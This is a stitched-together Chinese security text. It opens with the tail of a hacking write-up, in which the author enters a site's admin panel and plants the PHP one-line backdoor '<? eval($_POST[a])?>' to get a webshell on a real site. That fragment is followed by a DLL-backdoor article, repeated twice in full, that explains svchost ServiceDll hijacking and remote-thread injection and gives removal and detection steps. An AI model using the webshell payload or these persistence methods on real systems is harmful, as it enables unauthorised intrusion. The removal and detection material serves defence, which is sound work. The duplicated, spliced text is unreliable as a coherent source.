返回结果如图11,哈哈,得到管理员的名字了哦!激动地拿着管理员名字和密码去后台登陆成功了哦!如图12。现在是想想怎么拿webshell的时候了,在后台发现有上传图片的地方,但是当上传php文件的时候提示说不是图片文件,郁闷了!在后台仔细的乱七八糟的乱翻了会,发现有个生成php文件的功能,于是在里面插入了一句话的php后门<? eval($_POST[a])?>,如图13,点生成之后提示成功了,看来如果没有过滤的话我们应该是得到webshell了,密码是a,用一句话后门连上去如图14,哈哈,成功了!脚本检测到此圆满完成!
在得到webshell之后我上服务器上看了看,发现服务器的安全是做得不错,执行不了命令,并且基本上所有的目录除了我们刚才上传的目录之外都是不可写的,不过作为脚本测试,得到了webshell也就算成功了吧!也可以看出,小小的一个参数没有过滤就可以导致网站的沦陷,特别是像sohu.com这样的大站,参数更多,更加要注意过滤方面的问题哦!欢迎大家到论坛讨论,我的ID是剑心
前言
后门!相信这个词语对您来说一定不会陌生,它的危害不然而欲,但随着人们的安全意识逐步增强,又加上杀毒软件的"大力支持",使传统的后门无法在隐藏自己,任何稍微有点计算机知识的人,都知道"查端口""看进程",以便发现一些"蛛丝马迹"。所以,后门的编写者及时调整了思路,把目光放到了动态链接程序库上,也就是说,把后门做成DLL文件,然后由某一个EXE做为载体,或者使用Rundll32.exe来启动,这样就不会有进程,不开端口等特点,也就实现了进程、端口的隐藏。本文以"DLL的原理""DLL的清除""DLL的防范"为主题,并展开论述,旨在能让大家对DLL后门"快速上手",不在恐惧DLL后门。好了,进入我们的主题。
一,DLL的原理
1,动态链接程序库
动态链接程序库,全称:Dynamic Link Library,简称:DLL,作用在于为应用程序提供扩展功能。应用程序想要调用DLL文件,需要跟其进行"动态链接";从编程的角度,应用程序需要知道DLL文件导出的API函数方可调用。由此可见,DLL文件本身并不可以运行,需要应用程序调用。正因为DLL文件运行时必须插入到应用程序的内存模块当中,这就说明了:DLL文件无法删除。这是由于Windows内部机制造成的:正在运行的程序不能关闭。所以,DLL后门由此而生!2,DLL后门原理及特点
把一个实现了后门功能的代码写成一个DLL文件,然后插入到一个EXE文件当中,使其可以执行,这样就不需要占用进程,也就没有相对应的PID号,也就可以在任务管理器中隐藏。DLL文件本身和EXE文件相差不大,但必须使用程序(EXE)调用才能执行DLL文件。DLL文件的执行,需要EXE文件加载,但EXE想要加载DLL文件,需要知道一个DLL文件的入口函数(既DLL文件的导出函数),所以,根据DLL文件的编写标准:EXE必须执行DLL文件中的DLLMain()作为加载的条件(如同EXE的mian())。做DLL后门基本分为两种:1)把所有功能都在DLL文件中实现;2)把DLL做成一个启动文件,在需要的时候启动一个普通的EXE后门。
常见的编写方法:
(1),只有一个DLL文件
这类后门很简单,只把自己做成一个DLL文件,在注册表Run键值或其他可以被系统自动加载的地方,使用Rundll32.exe来自动启动。Rundll32.exe是什么?顾名思意,"执行32位的DLL文件"。它的作用是执行DLL文件中的内部函数,这样在进程当中,只会有Rundll32.exe,而不会有DLL后门的进程,这样,就实现了进程上的隐藏。如果看到系统中有多个Rundll32.exe,不必惊慌,这证明用Rundll32.exe启动了多少个的DLL文件。当然,这些Rundll32.exe执行的DLL文件是什么,我们都可以从系统自动加载的地方找到。
现在,我来介绍一下Rundll32.exe这个文件,意思上边已经说过,功能就是以命令行的方式调用动态链接程序库。系统中还有一个Rundll.exe文件,他的意思是"执行16位的DLL文件",这里要注意一下。在来看看Rundll32.exe使用的函数原型:
Void CALLBACK FunctionName (
HWND hwnd,
HINSTANCE hinst,
LPTSTR lpCmdLine,
Int nCmdShow
);
其命令行下的使用方法为:Rundll32.exe DLLname,Functionname [Arguments]
DLLname为需要执行的DLL文件名;Functionname为前边需要执行的DLL文件的具体引出函数;[Arguments]为引出函数的具体参数。
(2),替换系统中的DLL文件
这类后门就比上边的先进了一些,它把实现了后门功能的代码做成一个和系统匹配的DLL文件,并把原来的DLL文件改名。遇到应用程序请求原来的DLL文件时, DLL后门就启一个转发的作用,把"参数"传递给原来的DLL文件;如果遇到特殊的请求时(比如客户端),DLL后门就开始,启动并运行了。对于这类后门,把所有操作都在DLL文件中实现最为安全,但需要的编程知识也非常多,也非常不容易编写。所以,这类后门一般都是把DLL文件做成一个"启动"文件,在遇到特殊的情况下(比如客户端的请求),就启动一个普通的EXE后门;在客户端结束连接之后,把EXE后门停止,然后DLL文件进入"休息"状态,在下次客户端连接之前,都不会启动。但随着微软的"数字签名"和"文件恢复"的功能出台,这种后门已经逐步衰落。
提示:
在WINNT\system32目录下,有一个dllcache文件夹,里边存放着众多DLL文件(也包括一些重要的EXE文件),在DLL文件被非法修改之后,系统就从这里来恢复被修改的DLL文件。如果要修改某个DLL文件,首先应该把dllcache目录下的同名DLL文件删除或更名,否则系统会自动恢复。
(3),动态嵌入式
这才是DLL后门最常用的方法。其意义是将DLL文件嵌入到正在运行的系统进程当中。在Windows系统中,每个进程都有自己的私有内存空间,但还是有种种方法来进入其进程的私有内存空间,来实现动态嵌入式。由于系统的关键进程是不能终止的,所以这类后门非常隐蔽,查杀也非常困难。常见的动态嵌入式有:"挂接API""全局钩子(HOOK)""远程线程"等。
远程线程技术指的是通过在一个进程中创建远程线程的方法来进入那个进程的内存地址空间。当EXE载体(或Rundll32.exe)在那个被插入的进程里创建了远程线程,并命令它执行某个DLL文件时,我们的DLL后门就挂上去执行了,这里不会产生新的进程,要想让DLL后门停止,只有让这个链接DLL后门的进程终止。但如果和某些系统的关键进程链接,那就不能终止了,如果你终止了系统进程,那Windows也随即被终止!!!
3,DLL后门的启动特性
启动DLL后门的载体EXE是不可缺少的,也是非常重要的,它被称为:Loader。如果没有Loader,那我们的DLL后门如何启动呢?因此,一个好的DLL后门会尽力保护自己的Loader不被查杀。Loader的方式有很多,可以是为我们的DLL后门而专门编写的一个EXE文件;也可以是系统自带的Rundll32.exe,即使停止了Rundll32.exe,DLL后门的主体还是存在的。3721网络实名就是一个例子,虽然它并不是"真正"的后门。
二,DLL的清除
本节以三款比较有名的DLL后门例,分别为"SvchostDLL.dll""BITS.dll""QoServer.dll"。详细讲解其手工清除方法。希望大家在看过这三款DLL后门的清除方法之后,能够举一反三,灵活运用,在不惧怕DLL后门。其实,手工清除DLL后门还是比较简单的,无非就是在注册表中做文章。具体怎么做,请看下文。
1,PortLess BackDoor
这是一款功能非常强大的DLL后门程序,除了可以获得Local System权限的Shell之外,还支持如"检测克隆帐户""安装终端服务"等一系列功能(具体可以参见程序帮助),适用Windows2000/xp/2003等系统。程序使用svchost.exe来启动,平常不开端口,可以进行反向连接(最大的特点哦),对于有防火墙的主机来说,这个功能在好不过了。
在介绍清除方法之前,我们先来简单的介绍一下svchost.exe这个系统的关键服务:
Svchost只是做为服务的宿主,本身并不实现什么功能,如果需要使用Svchost来启动服务,则某个服务是以DLL形式实现的,该DLL的载体Loader指向svchost,所以,在启动服务的时候由svchost调用该服务的DLL来实现启动的目的。使用svchost启动某个服务的DLL文件是由注册表中的参数来决定的,在需要启动服务的下边都有一个Parameters子键,其中的ServiceDll表明该服务由哪个DLL文件负责,并且这个DLL文件必须导出一个ServiceMain()函数,为处理服务任务提供支持。
呵呵!看了上边的理论,是不是有点蒙(我都快睡着了),别着急,我们来看看具体的内容(如图1)。从图1中,我们可以看到HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\RpcSs下的Parameters子键,其键值为%SystemRoot%\system32\rpcss.dll。这就说明:启动RpcSs服务时。Svchost调用WINNT\system32目录下的rpcss.dll。
在来看看图2,这是注册表的HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Svchost,里边存放着Svchost启动的组和组内的各个服务,其中netsvcs组的服务最多。要使用Svchost启动某个服务,则该服务名就会出现在HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Svchost下。这里有四种方法来实现:
1, 添加一个新的组,在组里添加服务名
2, 在现有组里添加服务名
3, 直接使用现有组里的一个服务名,但是本机没有安装的服务
4, 修改现有组里的现有服务,把它的ServiceDll指向自己的DLL后门
我测试的PortLess BackDoor使用的第三种方法。
好了,我想大家看完了上边的原理,一定可以想到我们清除PortLess BackDoor的方法了,对,就是在注册表的Svchost键下做文章。好,我们现在开始。
注:由于本文只是介绍清除方法,使用方法在此略过。
后门的Loader把SvchostDLL.dll插入Svchost进程当中,所以,我们先打开Windows优化大师中的Windows进程管理2.5,查看Svchost进程中的模块信息(如图3),从图3中我们可以看到,SvchostDLL.dll已经插入到Svchost进程中了,在根据"直接使用现有组里的一个服务名,但是本机没有安装的服务"的提示,我们可以断定,在"管理工具"—"服务"中会有一项新的服务。图4证明了我的说法,此服务名称为:IPRIP,由Svchost启动,-k netsvcs表示此服务包含在netsvcs服务组中。
我们把该服务停掉,然后打开注册表编辑器(开始—运行--regedit),来到HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\IPRIP下,查看其Parameters子键(如图5)。Program键的键值SvcHostDLL.exe为后门的Loader;ServiceDll的键值C:\WINNT\system32\svchostdll.dll为调用的DLL文件,这正是后门的DLL文件。现在我们删除IPRIP子键(或者用SC来删除),然后在来到HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Svchost下,编辑netsvcs服务组,把49 00 70 00 72 00 69 00 70 00 00 00删除,这里对应的就是IPRIP的服务名,具体如图6所示。然后退出,重启。重启之后删除WINNT\system32目录下的后门文件即可。
2,BITS.dll
这是榕哥的作品,也是DLL后门,和SvchostDLL.dll原理基本一样,不过这里使用的是上边介绍的第四种方法,即"修改现有组里的现有服务,把它的ServiceDll指向自己的DLL后门"。换句话说,该后门修改现有的某一个服务,把其原有服务的DLL指向自己(也就是BITS.dll),这样就达到了自动加载的目的;其次,该后门没有自己的Loader,而是使用系统自带的Rundll32.exe来加载。我们还是用Windows 进程管理2.5来查看,从图7中,我们可以看到bits.dll已经插入到Svchost进程当中。
好,现在我们来看看具体的清除方法,由于该后门是修改现有服务,而我们并不知道具体是修改了哪个服务,所以,在注册表中搜索bits.dll,最后在HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\RasAuto下搜索到了bits.dll,查看Parameters子键下的ServiceDll,其键值为C:\WINNT\system32\bits.dll(如图8)。原来,该后门把RasAuto服务原来的DLL文件替换为bits.dll了,这样来实现自动加载。知道了原因就好办了,现在我们把ServiceDll的键值修改为RasAuto服务原有的DLL文件,即%SystemRoot%\System32\rasauto.dll,退出,重启。之后删除WINNT\system32目录下的bits.dll即可。
3,NOIR--QUEEN
NOIR--QUEEN(守护者)是一个DLL后门&木马程序,服务端以DLL文件的形式插入到系统的Lsass.exe进程里,由于Lsass.exe是系统的关键进程,所以不能终止。在来介绍清除方法之前,我先介绍一下Lsass.exe进程:
这是一个本地的安全授权服务,并且它会为使用Winlogon服务的授权用户生成一个进程,如果授权是成功的,Lsass就会产生用户的进入令牌,令牌使用启动初始 的Shell。其他的由用户初始化的进程会继承这个令牌。
从上边的介绍我们就可以看出Lsass对系统的重要性,那具体怎么清除呢?请看下文。
后门在安装成功后,会在服务中添加一个名为QoSserver的服务,并把QoSserver.dll后门文件插入到Lsass进程当中,使其可以隐藏进程并自动启动(如图9)。现在我们打开注册表,来到HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\QoSserver,直接删除QoSserver键,然后重启。重启之后,我们在来到服务列表中,会看到QoSserver服务还在,但没有启动,类别是自动,我们把他修改为"已禁用";然后往上看,会发现一个服务名为AppCPI的服务,其可执行程序指向QoSserver.exe(原因后边我会说到),具体如图11所示。我们再次打开注册表,来到HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\AppCPI,删除AppCPI键,重启,再删除QoSserver,最后删除WINNT\system32目录下的后门文件。
本人和这个后门"搏斗"了3个多小时,重启N次。原因在于即使删除了QoSserver服务,后门还是在运行,而且服务列表中的QoSserver服务又"死灰复燃"。后来才知道原因:在我删除了QoSserver服务并重启之后,插入到Lsass进程当中的QoSserver.dll文件又恢复了QoSserver服务,并且生成了另外一个服务,即AppCPI,所以我们必须在到注册表中删除AppCPI服务才算是把该后门清除。由此可以看出,现在的后门的保护措施,真是一环扣环。
注意:在删除QoSserver服务并重启之后,恢复的QoSserver的启动类别要修改为"已禁用",否则即便删除了AppCPI服务,QoSserver服务又运行了。
三,DLL的防范
看了上边的例子,我想大家对清除DLL后门的方法有了一定的了解,但在现实中,DLL后门并不会使用默认的文件名,所以你也就不能肯定是否中了DLL后门。对于DLL后门,system32目录下是个好地方,大多数后门也是如此,所以这里要非常注意。下面我来具体介绍一下怎么发现DLL后门,希望对大家有所帮助。
1,安装好系统和所有的应用程序之后,备份system32目录下的EXE和DLL文件:打开CMD,来到WINNT\system32目录下,执行:dir *.exe>exe.txt & dir *.dll>dll.txt,这样,就会把所有的EXE和DLL文件备份到exe.txt和dll.txt文件中;日后,如发现异常,可以使用相同的命令再次备份EXE和DLL文件(这里我们假设是exe0.txt和dll0.txt),并使用:fc exe.txt exe0.txt>exedll.txt & fc dll.txt dll0.txt>exedll.txt,其意思为使用FC命令比较两次的EXE文件和DLL文件,并将比较结果保存到exedll.txt文件中。通过这种方法,我们就可以发现多出来的EXE和DLL文件,并通过文件大小,创建时间来判断是否是DLL后门。
2,使用内存/模块工具来查看进程调用的DLL文件,比如Windows优化大师中的Windows 进程管理 2.5。这样,可以发现进程到底调用了什么DLL文件,在结合上边用FC命令比较出来的结果,又能进一步来确定是否中了DLL后门。如果没有优化大师,可以使用TaskList,这个小工具也可以显示进程调用的DLL文件,而且还有源代码,方便修改。
3,普通后门连接需要打开特定的端口,DLL后门也不例外,不管它怎么隐藏,连接的时候都需要打开端口。我们可以用netstat -an来查看所有TCP/UDP端口的连接,以发现非法连接。大家平时要对自己打开的端口心中有数,并对netstat -an中的state属性有所了解。当然,也可以使用Fport来显示端口对应的进程,这样,系统有什么不明的连接和端口,都可以尽收眼底。
4,定期检查系统自动加载的地方,比如:注册表,Winstart.bat,Autoexec.bat,win.ini,system.ini,wininit.ini,Autorun.inf,Config.sys等。其次是对服务进行管理,对系统默认的服务要有所了解,在发现有问题的服务时,可以使用Windows 2000 Server Resource Kit中的SC来删除。以上这些地方都可以用来加载DLL后门的Loader,如果我们把DLL后门Loader删除了,试问?DLL后门还怎么运行?!
通过使用上边的方法,我想大多数DLL后门都可以"现形",如果我们平时多做一些备份,那对查找DLL后门会启到事半功倍的效果。
后门!相信这个词语对您来说一定不会陌生,它的危害不然而欲,但随着人们的安全意识逐步增强,又加上杀毒软件的"大力支持",使传统的后门无法在隐藏自己,任何稍微有点计算机知识的人,都知道"查端口""看进程",以便发现一些"蛛丝马迹"。所以,后门的编写者及时调整了思路,把目光放到了动态链接程序库上,也就是说,把后门做成DLL文件,然后由某一个EXE做为载体,或者使用Rundll32.exe来启动,这样就不会有进程,不开端口等特点,也就实现了进程、端口的隐藏。本文以"DLL的原理""DLL的清除""DLL的防范"为主题,并展开论述,旨在能让大家对DLL后门"快速上手",不在恐惧DLL后门。好了,进入我们的主题。
一,DLL的原理
1,动态链接程序库
动态链接程序库,全称:Dynamic Link Library,简称:DLL,作用在于为应用程序提供扩展功能。应用程序想要调用DLL文件,需要跟其进行"动态链接";从编程的角度,应用程序需要知道DLL文件导出的API函数方可调用。由此可见,DLL文件本身并不可以运行,需要应用程序调用。正因为DLL文件运行时必须插入到应用程序的内存模块当中,这就说明了:DLL文件无法删除。这是由于Windows内部机制造成的:正在运行的程序不能关闭。所以,DLL后门由此而生!2,DLL后门原理及特点
把一个实现了后门功能的代码写成一个DLL文件,然后插入到一个EXE文件当中,使其可以执行,这样就不需要占用进程,也就没有相对应的PID号,也就可以在任务管理器中隐藏。DLL文件本身和EXE文件相差不大,但必须使用程序(EXE)调用才能执行DLL文件。DLL文件的执行,需要EXE文件加载,但EXE想要加载DLL文件,需要知道一个DLL文件的入口函数(既DLL文件的导出函数),所以,根据DLL文件的编写标准:EXE必须执行DLL文件中的DLLMain()作为加载的条件(如同EXE的mian())。做DLL后门基本分为两种:1)把所有功能都在DLL文件中实现;2)把DLL做成一个启动文件,在需要的时候启动一个普通的EXE后门。
常见的编写方法:
(1),只有一个DLL文件
这类后门很简单,只把自己做成一个DLL文件,在注册表Run键值或其他可以被系统自动加载的地方,使用Rundll32.exe来自动启动。Rundll32.exe是什么?顾名思意,"执行32位的DLL文件"。它的作用是执行DLL文件中的内部函数,这样在进程当中,只会有Rundll32.exe,而不会有DLL后门的进程,这样,就实现了进程上的隐藏。如果看到系统中有多个Rundll32.exe,不必惊慌,这证明用Rundll32.exe启动了多少个的DLL文件。当然,这些Rundll32.exe执行的DLL文件是什么,我们都可以从系统自动加载的地方找到。
现在,我来介绍一下Rundll32.exe这个文件,意思上边已经说过,功能就是以命令行的方式调用动态链接程序库。系统中还有一个Rundll.exe文件,他的意思是"执行16位的DLL文件",这里要注意一下。在来看看Rundll32.exe使用的函数原型:
Void CALLBACK FunctionName (
HWND hwnd,
HINSTANCE hinst,
LPTSTR lpCmdLine,
Int nCmdShow
);
其命令行下的使用方法为:Rundll32.exe DLLname,Functionname [Arguments]
DLLname为需要执行的DLL文件名;Functionname为前边需要执行的DLL文件的具体引出函数;[Arguments]为引出函数的具体参数。
(2),替换系统中的DLL文件
这类后门就比上边的先进了一些,它把实现了后门功能的代码做成一个和系统匹配的DLL文件,并把原来的DLL文件改名。遇到应用程序请求原来的DLL文件时, DLL后门就启一个转发的作用,把"参数"传递给原来的DLL文件;如果遇到特殊的请求时(比如客户端),DLL后门就开始,启动并运行了。对于这类后门,把所有操作都在DLL文件中实现最为安全,但需要的编程知识也非常多,也非常不容易编写。所以,这类后门一般都是把DLL文件做成一个"启动"文件,在遇到特殊的情况下(比如客户端的请求),就启动一个普通的EXE后门;在客户端结束连接之后,把EXE后门停止,然后DLL文件进入"休息"状态,在下次客户端连接之前,都不会启动。但随着微软的"数字签名"和"文件恢复"的功能出台,这种后门已经逐步衰落。
提示:
在WINNT\system32目录下,有一个dllcache文件夹,里边存放着众多DLL文件(也包括一些重要的EXE文件),在DLL文件被非法修改之后,系统就从这里来恢复被修改的DLL文件。如果要修改某个DLL文件,首先应该把dllcache目录下的同名DLL文件删除或更名,否则系统会自动恢复。
(3),动态嵌入式
这才是DLL后门最常用的方法。其意义是将DLL文件嵌入到正在运行的系统进程当中。在Windows系统中,每个进程都有自己的私有内存空间,但还是有种种方法来进入其进程的私有内存空间,来实现动态嵌入式。由于系统的关键进程是不能终止的,所以这类后门非常隐蔽,查杀也非常困难。常见的动态嵌入式有:"挂接API""全局钩子(HOOK)""远程线程"等。
远程线程技术指的是通过在一个进程中创建远程线程的方法来进入那个进程的内存地址空间。当EXE载体(或Rundll32.exe)在那个被插入的进程里创建了远程线程,并命令它执行某个DLL文件时,我们的DLL后门就挂上去执行了,这里不会产生新的进程,要想让DLL后门停止,只有让这个链接DLL后门的进程终止。但如果和某些系统的关键进程链接,那就不能终止了,如果你终止了系统进程,那Windows也随即被终止!!!
3,DLL后门的启动特性
启动DLL后门的载体EXE是不可缺少的,也是非常重要的,它被称为:Loader。如果没有Loader,那我们的DLL后门如何启动呢?因此,一个好的DLL后门会尽力保护自己的Loader不被查杀。Loader的方式有很多,可以是为我们的DLL后门而专门编写的一个EXE文件;也可以是系统自带的Rundll32.exe,即使停止了Rundll32.exe,DLL后门的主体还是存在的。3721网络实名就是一个例子,虽然它并不是"真正"的后门。
二,DLL的清除
本节以三款比较有名的DLL后门例,分别为"SvchostDLL.dll""BITS.dll""QoServer.dll"。详细讲解其手工清除方法。希望大家在看过这三款DLL后门的清除方法之后,能够举一反三,灵活运用,在不惧怕DLL后门。其实,手工清除DLL后门还是比较简单的,无非就是在注册表中做文章。具体怎么做,请看下文。
1,PortLess BackDoor
这是一款功能非常强大的DLL后门程序,除了可以获得Local System权限的Shell之外,还支持如"检测克隆帐户""安装终端服务"等一系列功能(具体可以参见程序帮助),适用Windows2000/xp/2003等系统。程序使用svchost.exe来启动,平常不开端口,可以进行反向连接(最大的特点哦),对于有防火墙的主机来说,这个功能在好不过了。
在介绍清除方法之前,我们先来简单的介绍一下svchost.exe这个系统的关键服务:
Svchost只是做为服务的宿主,本身并不实现什么功能,如果需要使用Svchost来启动服务,则某个服务是以DLL形式实现的,该DLL的载体Loader指向svchost,所以,在启动服务的时候由svchost调用该服务的DLL来实现启动的目的。使用svchost启动某个服务的DLL文件是由注册表中的参数来决定的,在需要启动服务的下边都有一个Parameters子键,其中的ServiceDll表明该服务由哪个DLL文件负责,并且这个DLL文件必须导出一个ServiceMain()函数,为处理服务任务提供支持。
呵呵!看了上边的理论,是不是有点蒙(我都快睡着了),别着急,我们来看看具体的内容(如图1)。从图1中,我们可以看到HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\RpcSs下的Parameters子键,其键值为%SystemRoot%\system32\rpcss.dll。这就说明:启动RpcSs服务时。Svchost调用WINNT\system32目录下的rpcss.dll。
在来看看图2,这是注册表的HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Svchost,里边存放着Svchost启动的组和组内的各个服务,其中netsvcs组的服务最多。要使用Svchost启动某个服务,则该服务名就会出现在HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Svchost下。这里有四种方法来实现:
1, 添加一个新的组,在组里添加服务名
2, 在现有组里添加服务名
3, 直接使用现有组里的一个服务名,但是本机没有安装的服务
4, 修改现有组里的现有服务,把它的ServiceDll指向自己的DLL后门
我测试的PortLess BackDoor使用的第三种方法。
好了,我想大家看完了上边的原理,一定可以想到我们清除PortLess BackDoor的方法了,对,就是在注册表的Svchost键下做文章。好,我们现在开始。
注:由于本文只是介绍清除方法,使用方法在此略过。
后门的Loader把SvchostDLL.dll插入Svchost进程当中,所以,我们先打开Windows优化大师中的Windows进程管理2.5,查看Svchost进程中的模块信息(如图3),从图3中我们可以看到,SvchostDLL.dll已经插入到Svchost进程中了,在根据"直接使用现有组里的一个服务名,但是本机没有安装的服务"的提示,我们可以断定,在"管理工具"—"服务"中会有一项新的服务。图4证明了我的说法,此服务名称为:IPRIP,由Svchost启动,-k netsvcs表示此服务包含在netsvcs服务组中。
我们把该服务停掉,然后打开注册表编辑器(开始—运行--regedit),来到HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\IPRIP下,查看其Parameters子键(如图5)。Program键的键值SvcHostDLL.exe为后门的Loader;ServiceDll的键值C:\WINNT\system32\svchostdll.dll为调用的DLL文件,这正是后门的DLL文件。现在我们删除IPRIP子键(或者用SC来删除),然后在来到HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Svchost下,编辑netsvcs服务组,把49 00 70 00 72 00 69 00 70 00 00 00删除,这里对应的就是IPRIP的服务名,具体如图6所示。然后退出,重启。重启之后删除WINNT\system32目录下的后门文件即可。
2,BITS.dll
这是榕哥的作品,也是DLL后门,和SvchostDLL.dll原理基本一样,不过这里使用的是上边介绍的第四种方法,即"修改现有组里的现有服务,把它的ServiceDll指向自己的DLL后门"。换句话说,该后门修改现有的某一个服务,把其原有服务的DLL指向自己(也就是BITS.dll),这样就达到了自动加载的目的;其次,该后门没有自己的Loader,而是使用系统自带的Rundll32.exe来加载。我们还是用Windows 进程管理2.5来查看,从图7中,我们可以看到bits.dll已经插入到Svchost进程当中。
好,现在我们来看看具体的清除方法,由于该后门是修改现有服务,而我们并不知道具体是修改了哪个服务,所以,在注册表中搜索bits.dll,最后在HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\RasAuto下搜索到了bits.dll,查看Parameters子键下的ServiceDll,其键值为C:\WINNT\system32\bits.dll(如图8)。原来,该后门把RasAuto服务原来的DLL文件替换为bits.dll了,这样来实现自动加载。知道了原因就好办了,现在我们把ServiceDll的键值修改为RasAuto服务原有的DLL文件,即%SystemRoot%\System32\rasauto.dll,退出,重启。之后删除WINNT\system32目录下的bits.dll即可。
3,NOIR--QUEEN
NOIR--QUEEN(守护者)是一个DLL后门&木马程序,服务端以DLL文件的形式插入到系统的Lsass.exe进程里,由于Lsass.exe是系统的关键进程,所以不能终止。在来介绍清除方法之前,我先介绍一下Lsass.exe进程:
这是一个本地的安全授权服务,并且它会为使用Winlogon服务的授权用户生成一个进程,如果授权是成功的,Lsass就会产生用户的进入令牌,令牌使用启动初始 的Shell。其他的由用户初始化的进程会继承这个令牌。
从上边的介绍我们就可以看出Lsass对系统的重要性,那具体怎么清除呢?请看下文。
后门在安装成功后,会在服务中添加一个名为QoSserver的服务,并把QoSserver.dll后门文件插入到Lsass进程当中,使其可以隐藏进程并自动启动(如图9)。现在我们打开注册表,来到HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\QoSserver,直接删除QoSserver键,然后重启。重启之后,我们在来到服务列表中,会看到QoSserver服务还在,但没有启动,类别是自动,我们把他修改为"已禁用";然后往上看,会发现一个服务名为AppCPI的服务,其可执行程序指向QoSserver.exe(原因后边我会说到),具体如图11所示。我们再次打开注册表,来到HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\AppCPI,删除AppCPI键,重启,再删除QoSserver,最后删除WINNT\system32目录下的后门文件。
本人和这个后门"搏斗"了3个多小时,重启N次。原因在于即使删除了QoSserver服务,后门还是在运行,而且服务列表中的QoSserver服务又"死灰复燃"。后来才知道原因:在我删除了QoSserver服务并重启之后,插入到Lsass进程当中的QoSserver.dll文件又恢复了QoSserver服务,并且生成了另外一个服务,即AppCPI,所以我们必须在到注册表中删除AppCPI服务才算是把该后门清除。由此可以看出,现在的后门的保护措施,真是一环扣环。
注意:在删除QoSserver服务并重启之后,恢复的QoSserver的启动类别要修改为"已禁用",否则即便删除了AppCPI服务,QoSserver服务又运行了。
三,DLL的防范
看了上边的例子,我想大家对清除DLL后门的方法有了一定的了解,但在现实中,DLL后门并不会使用默认的文件名,所以你也就不能肯定是否中了DLL后门。对于DLL后门,system32目录下是个好地方,大多数后门也是如此,所以这里要非常注意。下面我来具体介绍一下怎么发现DLL后门,希望对大家有所帮助。
1,安装好系统和所有的应用程序之后,备份system32目录下的EXE和DLL文件:打开CMD,来到WINNT\system32目录下,执行:dir *.exe>exe.txt & dir *.dll>dll.txt,这样,就会把所有的EXE和DLL文件备份到exe.txt和dll.txt文件中;日后,如发现异常,可以使用相同的命令再次备份EXE和DLL文件(这里我们假设是exe0.txt和dll0.txt),并使用:fc exe.txt exe0.txt>exedll.txt & fc dll.txt dll0.txt>exedll.txt,其意思为使用FC命令比较两次的EXE文件和DLL文件,并将比较结果保存到exedll.txt文件中。通过这种方法,我们就可以发现多出来的EXE和DLL文件,并通过文件大小,创建时间来判断是否是DLL后门。
2,使用内存/模块工具来查看进程调用的DLL文件,比如Windows优化大师中的Windows 进程管理 2.5。这样,可以发现进程到底调用了什么DLL文件,在结合上边用FC命令比较出来的结果,又能进一步来确定是否中了DLL后门。如果没有优化大师,可以使用TaskList,这个小工具也可以显示进程调用的DLL文件,而且还有源代码,方便修改。
3,普通后门连接需要打开特定的端口,DLL后门也不例外,不管它怎么隐藏,连接的时候都需要打开端口。我们可以用netstat -an来查看所有TCP/UDP端口的连接,以发现非法连接。大家平时要对自己打开的端口心中有数,并对netstat -an中的state属性有所了解。当然,也可以使用Fport来显示端口对应的进程,这样,系统有什么不明的连接和端口,都可以尽收眼底。
4,定期检查系统自动加载的地方,比如:注册表,Winstart.bat,Autoexec.bat,win.ini,system.ini,wininit.ini,Autorun.inf,Config.sys等。其次是对服务进行管理,对系统默认的服务要有所了解,在发现有问题的服务时,可以使用Windows 2000 Server Resource Kit中的SC来删除。以上这些地方都可以用来加载DLL后门的Loader,如果我们把DLL后门Loader删除了,试问?DLL后门还怎么运行?!
通过使用上边的方法,我想大多数DLL后门都可以"现形",如果我们平时多做一些备份,那对查找DLL后门会启到事半功倍的效果。